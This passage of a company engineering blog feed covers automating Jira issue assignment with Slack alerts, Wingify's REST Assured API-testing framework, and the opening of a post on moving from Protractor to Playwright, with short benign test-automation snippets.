it!&lt;/h2&gt; &lt;p&gt;We managed to automate this task by automating the below steps and now have an automated system for client-issue assignments. It has helped us increase efficiency by consistently meeting our SLAs and helping free the bandwidth of team members who can now focus on more impactful work.&lt;/p&gt; &lt;p&gt; &lt;strong&gt;Step 1:&lt;/strong&gt; The script runs querying (Jira) every few minutes for any new client issues raised. – We use Jenkins for the scheduled runs.&lt;/p&gt; &lt;p&gt; &lt;strong&gt;Step 2:&lt;/strong&gt; Parses the response of Jira query APIs and fetches a list of open issues and their details like summary and description of the tickets. – We use a framework that is essentially a wrapper over RestAssured (explained in some detail later in the article.)&lt;/p&gt; &lt;p&gt; &lt;strong&gt;Step 3:&lt;/strong&gt; Filter out issues in case they are already assigned and being worked upon.&lt;/p&gt; &lt;p&gt; &lt;strong&gt;Step 4:&lt;/strong&gt; Figure out who the issue is to be assigned to based on:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Certain assignment biases, the script figures out based on various Jira fields. &lt;/li&gt; &lt;li&gt;Skip team members on leave.&lt;/li&gt; &lt;li&gt;A basic round-robin system among the eligible team members.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt; &lt;strong&gt;Step 5:&lt;/strong&gt; Communicate by tagging the assignee and the issue ID on a pre-defined Slack channel. &lt;/p&gt; &lt;h2 id=&quot;now-that-you-know-what-we-do-lets-get-deeper-into-how-we-do-it&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#now-that-you-know-what-we-do-lets-get-deeper-into-how-we-do-it&quot; aria-label=&quot;now that you know what we do lets get deeper into how we do it permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Now that you know what we do, let&apos;s get deeper into how we do it.&lt;/h2&gt; &lt;p&gt; We have open-sourced our Rest Assured framework which can be accessed here: &lt;a href=&quot;https://github.com/wingify/rest-api-testing-framework&quot;&gt;https://github.com/wingify/rest-api-testing-framework&lt;/a&gt;&lt;/p&gt; &lt;p&gt; In the framework you can notice the following useful components:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;The Rest Assured libraries.&lt;/li&gt; &lt;li&gt; &lt;p&gt;Google Sheets Utils - This is where the functionality to interact with Google Sheets using Google Sheet APIs is written. We use Google Sheets to maintain the attendance roster, assignment history, and the round-robin flow. The advantage of using Google Sheets over other options like CSV, JSON, etc. is that anyone can update details without having to access the code base.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/11/GoogleUtil.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; The image shows a simple reusable function created to write data into Google Sheets. &lt;/li&gt; &lt;li&gt; &lt;p&gt;Jira Utils - Contains functionalities to pull data from Jira using Jira Query Language (JQL) queries and parse the responses. &lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/11/JiraUtil.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; The image shows a reusable function created to fetch the results of any JQL query. &lt;/li&gt; &lt;li&gt; &lt;p&gt;Slack Utils - Has code to push customized messages as alerts to Slack channels tagging the assignees. &lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/11/SlackUtils.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; The image shows a reusable function created to push messages to Slack channels. &lt;/li&gt; &lt;li&gt;The Test Class - Test NG annotations are used to create groups for various alerts, this gives us the ability to schedule our builds flexibly. For instance, the &apos;client issue debugging&apos; alert runs every 30 mins, while &apos;long pending issues&apos; are run just twice a week.&lt;/li&gt; &lt;/ol&gt; &lt;h1 id=&quot;alert-for-long-open-client-issues&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#alert-for-long-open-client-issues&quot; aria-label=&quot;alert for long open client issues permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Alert for long-open client issues&lt;/h1&gt; &lt;p&gt;We have leveraged the above code for another solution – Alert the team about long-pending client issues. Since the implementation is already shared in the git repo. We will just touch upon the process in this article. &lt;/p&gt; &lt;p&gt;&lt;strong&gt;Classification:&lt;/strong&gt; Any issue that has been open for more than 7 days is classified as a &quot;long pending issue&quot;. There are certain exceptions to this rule, for example, an issue that is pending confirmation on the client&apos;s end. – These exceptions are filtered out at the Jira Query level itself using various Jira fields and their values.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Alert format:&lt;/strong&gt; Our script is executed twice a week and shares a list of these issues on Slack and also tags the assignees. This alert helps the team members as a reminder as they might be involved in several tasks in a given sprint.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Benefits:&lt;/strong&gt; It has helped us turn the team&apos;s focus to these issues and we have seen the number of these long pending issues go down since the alert was put in place. And the best part is – it requires no manual intervention and hence, happens like clockwork.&lt;/p&gt; &lt;p&gt;Once you have this framework in place, you can leverage it to pull out any data from Jira, create alerts and automated reports which may suit your use case. For instance, we are building a &quot;possible SLA miss&quot; alert, and a &quot;quality trend&quot; report using the framework mentioned above. We will keep the repository updated as and when we roll out the new reports.&lt;/p&gt; &lt;p&gt;We would also encourage contributions to the repo in case anyone wishes to help us further improve this capability. Also, do let us know in the comments section below if you are using a similar solution in your organization albeit with a different approach. &lt;/p&gt;</content:encoded><author>Kandeel Chauhan</author></item><item><title><![CDATA[Rest Assured - Journey to the end to end API automation]]></title><description><![CDATA[REST Assured is a Java-based library, one of the most popular libraries to test RESTful Web Services, and is used to perform testing and…]]></description><link>https://engineering.wingify.com//posts/restassured-journey-to-e2e-api-automation/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/restassured-journey-to-e2e-api-automation/</guid><pubDate>Mon, 31 Oct 2022 00:00:00 GMT</pubDate><content:encoded>&lt;div style=&quot;text-align:center; margin: 10px; display: none&quot;&gt; &lt;img src=&quot;/images/2022/12/qaWingify.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://rest-assured.io/&quot;&gt;REST Assured&lt;/a&gt;&lt;/strong&gt; is a Java-based library, one of the most popular libraries to test RESTful Web Services, and is used to perform testing and validation of Rest Services with simplicity. We can use any Java IDE for writing code to test our API. REST Assured is helpful in writing small Unit tests as well as large automation frameworks, where we can create test cases for large APIs.&lt;/p&gt; &lt;p&gt;We can create highly customizable HTTP Requests to send to the Restful server. This enables us to test a wide variety of Request combinations and in turn test different combinations of core business logic.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;What are the Usecases and Benefits of API Automation?&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Use-Cases:&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Good API Coverage&lt;/strong&gt; &lt;/p&gt; &lt;p&gt;We’ve automated the end-to-end flow of our Application using REST Assured, we’ve covered test data creation and test case validation, so we’ve got a good API coverage that helps us to ensure the basic flow is maintained throughout. Once the latest feature is deployed, after manual testing we add the changes to our API test suite and keep it up to date so that it&apos;ll help us in regressive testing also in case of any updates of the same feature, we run automation test during staging, make necessary additions and ensure the flow of the application, which makes our API framework robust.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Separation b/w Frontend and Backend Testcases&lt;/strong&gt; &lt;/p&gt; &lt;p&gt;Frontend testing includes the verification of the application and checks the performance of application whether it is working according to the requirement whereas Backend testing execution makes sure that the data is continuing as there is no performance hit, the deciding factor here are as follows :&lt;/p&gt; &lt;ul&gt; &lt;li&gt;The tester should ask “Am I testing the UI, or Am I testing through the UI ?&quot;. If the answer is the latter, it should be covered in API.&lt;/li&gt; &lt;li&gt;We add negative test cases through API automation and validate the status code.&lt;/li&gt; &lt;li&gt;Logic which is in Frontend Codebase goes into FE/UI test suite and the logic from the Backend Codebase goes to the API test suite.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;&lt;strong&gt;Removal of Runscope dependency&lt;/strong&gt; &lt;/p&gt; &lt;p&gt;Before REST Assured we were using Runscope for API testing, it was good, but it had certain pitfalls primarily because it was hard to maintain, difficult to configure for running the test cases, and due to the complexity it came up with, the contribution from new team members was low, Whereas REST Assured is free, Open Sourced, easy to understand and contribute which made us migrate our test-cases to it, REST Assured solved the problem and increased our overall performance.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://github.com/wingify/rest-api-testing-framework&quot;&gt;REST API Testing Open Source Framework&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Salient features are as follows :&lt;/p&gt; &lt;ul&gt; &lt;li&gt;It is Wingify’s open source framework that provides solution to automate Rest API Test cases at a go.&lt;/li&gt; &lt;li&gt;Gives flexibility to the user to use the core structure of this framework, to automate users’ REST APIs by adding his own code on top of it. &lt;/li&gt; &lt;li&gt;It consists of Basepackage, which has 2 classes, BaseApi and BaseTest. BaseApi class contains all the wrapper methods over RestAssured and BaseTest class contains the pre-requisite and post requisites for our test classes.&lt;/li&gt; &lt;li&gt;This framework provides user the capability to log Curls for all your API requests which can help you debug incase of any issues.&lt;/li&gt; &lt;li&gt;It also provides listeners and reports for better understanding of your test results.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;&lt;strong&gt;Language independent&lt;/strong&gt; &lt;/p&gt; &lt;p&gt;The exchange of data in APIs takes place in a structured format of either XML or JSON, which makes it language-independent and gives us the flexibility to choose any language for automation, we at Wingify are using JSON because it is faster and designed specifically for data interchange.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Benefits:&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Ease in automation&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;API automation is used to monitor the backend of an application. API testing is effectively automated because the endpoints and request parameters are less likely to change unless there is a major change in business logic. Automation reduces manual efforts during regression testing and results in a significant amount of time-saving. As a result, the testing process is faster with better coverage. This culminates in time and resource-saving. Overall, it translates into the reduced project costs.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Improved test coverage&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;API test automation helps in covering a high number of test cases, functional and non-functional. Also, for a complete scenario check API testing requires running both, positive and negative tests. Since API testing is a data-driven approach, various combinations of data inputs can be used to test such test cases, we use ‘dataProviders’ annotations for inputting data of wide range. This gives good test coverage overall. Good test coverage helps in identifying and managing defects in a larger scenario. As a result, minuscule bugs make their way to production, thus resulting in a higher-quality product. We&apos;ve 95% test cases coverage with API Automation, which gives us the confidence to push failures as alerts which couldn&apos;t have been possible with Protractor/ FE Automation due to flakiness.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Easy to maintain&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;API tests are usually deemed stable and major changes are done mainly when business logic is changed. The frequency and amount of changes are comparatively less. This means less rework in rewriting test cases in event of any changes. This is in sharp contrast to UI testing, which requires rework at many levels in case of any changes. API tests can be reused during testing, thus, reducing the overall time quantum required for testing.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Identifies and rectifies Business logic bug&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;APIs represent specific business logic, it is easier for the teams to isolate the buggy module and rectify it. The bugs reported early can be fixed and retested, independently yet again. This reduces the quantum of time taken between builds and release cycles, resulting in faster release of products.&lt;/p&gt; &lt;p&gt;The amount and variety of input data combinations inadvertently lead to testing limit conditions that may not be identified/tested otherwise. This exposes vulnerabilities, if any, at an earlier stage even before UI has been developed. These vulnerabilities can then be rectified on a priority basis and any potential loophole for breaches is handled. When there are multiple APIs from different sources involved in the development of an application, the interface handshake may or may not be firm. API testing deep dives into these integration challenges and handles them at earlier stages. This ensures that the end-user experience is not affected because of the issues that could have been dealt with at the API level.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;What does our Architecture look like?&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Our Architecture is classified into 3 parts&lt;/p&gt; &lt;p&gt;&lt;strong&gt;1. TestClass&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Almost every class extends BaseTest Class that helps us to log in before test class execution &amp;#x26; logout once the test class gets executed&lt;/p&gt; &lt;p&gt;We use the ‘TestUtilFunctions’ class to perform operations like validating the status code, fetching JSON value from the Response, validating the JSON schema&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/05/image1.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;&lt;strong&gt;2. HelperClass&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;It creates an object of BaseApi class ( BaseApi Class which deals with cookies, header map, and request parameters from the builder class)&lt;/p&gt; &lt;p&gt;It sets Method Type(Get, Post, Patch, Delete), Basepath, and endpoints, and then returns the response to the Test class for validation&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/05/image5.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;&lt;strong&gt;3. BuilderClass&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;The main purpose of a builder class is to create, customize and send requests JSON for POST and PATCH calls. The requested data is used is then used by the helper class to edit the endpoints as per the need.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/05/image4.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;&lt;strong&gt;Other important parts of the architecture&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;4. POJO (plain old java object)&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;The POJO class is created to use the objects in other Java Programs. The major advantage of the POJO class is that we will not have to create objects every time in other Java programs. Simply we can access the objects by using the get() and set() methods.&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/05/image2.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;&lt;strong&gt;5. Execution&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;We use Gradle for the execution of our test cases. Gradle is an open-source build automation tool that is designed to be flexible enough to build almost any type of software. A build automation tool is used to automate the creation of applications. The building process includes compiling, linking, and packaging the code. The process becomes more consistent with the help of build automation tools.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;6. Reports&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;We use ‘Extent Reports’ to display the reports of our executed test cases.&lt;/p&gt; &lt;p&gt;In the automation framework, reporting is a very important part where we can see the consolidated output of our all tests. An easily readable report with all the necessary parameters always helps to debug faster. Extent report is a reporting framework that we can add to our existing test framework.&lt;/p&gt; &lt;p&gt;It supports the below features over a traditional reporting framework:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Customize our reports as per need.&lt;/li&gt; &lt;li&gt;Provides a graphical representation and also a fancy look.&lt;/li&gt; &lt;li&gt;Support for search.&lt;/li&gt; &lt;li&gt;Support for filter based on status (PASS/FAIL/SKIP).&lt;/li&gt; &lt;li&gt;Categories result based on an exception.&lt;/li&gt; &lt;li&gt;Categories tests if there are multiple test suites/test cases.&lt;/li&gt; &lt;li&gt;View total test count, start/end time, and total time is taken.&lt;/li&gt; &lt;li&gt;Print the exceptions for failed cases.&lt;/li&gt; &lt;li&gt;Allows capturing a screenshot.&lt;/li&gt; &lt;/ul&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;img src=&quot;/images/2022/05/image3.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;If a test case fails below details should display in the report:&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Test class name, Test name&lt;/li&gt; &lt;li&gt;URL&lt;/li&gt; &lt;li&gt;Request payload&lt;/li&gt; &lt;li&gt;Response&lt;/li&gt; &lt;li&gt;And all the input parameters passed from CSV&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;So it becomes easy for the Tester to identify the issue and the root cause of the issue&lt;/p&gt; &lt;p&gt;&lt;strong&gt;7. Testsuites&lt;/strong&gt; It is a collection of test cases that are intended to be used to test a software program to show that it has some specified set of behavior A suite is represented by one XML file. It can contain one or more tests and is defined by the &lt;suite&gt; tag.&lt;/p&gt; &lt;p&gt;A test is represented by &lt;test&gt; and can contain one or more TestNG classes.&lt;/p&gt; &lt;p&gt;A TestNG class is a Java class that contains at least one TestNG annotation. It is represented by the &lt;class&gt; tag and can contain one or more test methods.&lt;/p&gt; &lt;p&gt;A test method is a Java method annotated by @Test in the source.&lt;/p&gt; &lt;p&gt;For Eg: Testcases revolving around A/B, MVT, Split, and Mobile A/B will be part of one suite, similarly, Goals, Funnels, and Heatmaps will be part of another one&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Conclusion&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;APIs evolve and develop as and when business and functional requirements change, thus making it even more important to test them on a continuous basis. API test automation helps in covering a high number of test cases, functional and non-functional. Also, for a complete scenario check API testing requires running both, positive and negative tests. Since API Testing is a critical part of any development life cycle, REST Assured Framework is one of the most widely used Web Services Testing tools in Java. Advanced features, along with simplicity in implementation, make it a must for any testers to ensure quality in the end product. With its fluent approach and the expressive method names, it makes the call .&lt;/p&gt;</content:encoded><author>Rahul Pandey</author></item><item><title><![CDATA[Playwright – The Rightful Heir]]></title><description><![CDATA[The hunt has ended. Protractor's successor has finally been found! Introducing Playwright, the new star of test automation:-). An end-to-end…]]></description><link>https://engineering.wingify.com//posts/playwright-the-rightful-heir/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/playwright-the-rightful-heir/</guid><pubDate>Wed, 21 Sep 2022 00:00:00 GMT</pubDate><content:encoded>&lt;div style=&quot;text-align:center; margin: 10px; display: none&quot;&gt; &lt;img src=&quot;/images/2022/12/qaWingify.png&quot; style=&quot;box-shadow: 2px 2px 10px 1px #aaa&quot;&gt; &lt;/div&gt; &lt;p&gt;The hunt has ended. Protractor&apos;s successor has finally been found!&lt;/p&gt; &lt;p&gt;Introducing &lt;a href=&quot;https://playwright.dev/&quot;&gt;Playwright&lt;/a&gt;, the new star of test automation:-). An end-to-end web browsers automation tool (since 2020), open-source and managed by Microsoft, by the Puppeteer team, that supports all current browsers including Google Chrome and Microsoft Edge via Chromium, Apple Safari via WebKit, and Mozilla Firefox. The article will discuss the reasons why we chose the Playwright, what we liked, and some limitations.&lt;/p&gt; &lt;h2 id=&quot;why-playwright&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#why-playwright&quot; aria-label=&quot;why playwright permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;&lt;strong&gt;Why Playwright&lt;/strong&gt;&lt;/h2&gt; &lt;p&gt;Playwright has all the capabilities of a competent test automation tool, such as &lt;a href=&quot;https://engineering.wingify.com/posts/Cypress-a-worthy-replacement-for-protractor/&quot;&gt;Cypress&lt;/a&gt; and Puppeteer, but none of the flakiness that comes with Selenium. It is compatible with major CI/CD servers. It supports a variety of programming languages, including TypeScript, JavaScript, Python,.NET, and Java, offering QAs more possibilities for writing test scripts. Additionally, it supports mobile emulation of both Google Chrome for Android and Mobile Safari&lt;/p&gt; &lt;p&gt;It offers a long list of features, but I would like to mention my personal favourite – &lt;strong&gt;Auto-wait&lt;/strong&gt;. Playwright waits for elements to be actionable prior to performing actions. It also includes a variety of &lt;a href=&quot;https://playwright.dev/docs/events&quot;&gt;events&lt;/a&gt;. The combination of the two removes the need for artificial timeouts, which are the root cause of flaky tests. When a Playwright test script is executed by a tester, the UI is prepared in the backend before the test interacts with web resources. Furthermore, if you&apos;re working on an Angular app like us, you may need to &lt;a href=&quot;https://playwright.dev/docs/protractor#polyfilling-waitforangular&quot;&gt;polyfill protractor&apos;s waitForAngular&lt;/a&gt; in some circumstances. We&apos;d also need to add waits for the new window/pop-ups to load, as mentioned in the code below.&lt;/p&gt; &lt;p&gt;Additionally, below are some factors that helped us shortlist Playwright for our AUT at &lt;a href=&quot;https://wingify.com/&quot;&gt;Wingify&lt;/a&gt; -&lt;/p&gt; &lt;ol&gt; &lt;li&gt;It supports cross-domain testing, allowing you to visit two domains with different sources in the single test instance. The main disadvantage of Cypress is addressed.&lt;/li&gt; &lt;li&gt;It can handle scenarios involving multiple tab, shadow-dom, multiple iframes, file downloads and uploads. Everything works smoothly on Chrome.&lt;/li&gt; &lt;li&gt;The Window and Iframe handling is another plus, there is no notion of Window switching; in an open context, each page is a unique page and to access &lt;a href=&quot;https://playwright.dev/docs/pages#handling-new-pages&quot;&gt;newPage&lt;/a&gt; we can simply say&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;tsx&quot;&gt;&lt;pre class=&quot;language-tsx&quot;&gt;&lt;code class=&quot;language-tsx&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;newPage&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;all&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt; context&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;waitForEvent&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;page&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; page&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;locator&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;a[target=&quot;_blank&quot;]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token comment&quot;&gt;// Opens a new tab*&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; newPage&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;waitForLoadState&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; newPage&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;locator&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;[id=&quot;new-window&quot;]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;ol start=&quot;4&quot;&gt; &lt;li&gt;For &lt;a href=&quot;https://playwright.dev/docs/frames&quot;&gt;Iframe&lt;/a&gt;, we don&apos;t have to move to an iframe and then to default content to access an element in an iframe; instead, we just do&lt;/li&gt; &lt;/ol&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;tsx&quot;&gt;&lt;pre class=&quot;language-tsx&quot;&gt;&lt;code class=&quot;language-tsx&quot;&gt;newPage&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;frameLocator&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;[id=&quot;heatmap-iframe&quot;]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;locator&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;[id=&quot;heatmap-btn&quot;]&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;click&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;ol start=&quot;5&quot;&gt; &lt;li&gt;Supports Selenium Grid, but only with Chromium.&lt;/li&gt; &lt;li&gt;We can easily include a beautiful &lt;a href=&quot;https://github.com/allure-framework&quot;&gt;Allure HTML reporter&lt;/a&gt; into your Playwright project. I&apos;m sure you won&apos;t be disappointed if you try Playwright Test and Allure.&lt;/li&gt; &lt;li&gt;Playwright supports &lt;a href=&quot;https://playwright.dev/docs/mock&quot;&gt;Mock APIs&lt;/a&gt; as well as monitoring and modifying &lt;a href=&quot;https://playwright.dev/docs/network&quot;&gt;network traffic&lt;/a&gt;. We will be using this in one of our projects and would discuss it in a future blog.&lt;/li&gt; &lt;/ol&gt; &lt;h2 id=&quot;other-things-we-liked&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#other-things-we-liked&quot; aria-label=&quot;other things we liked permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 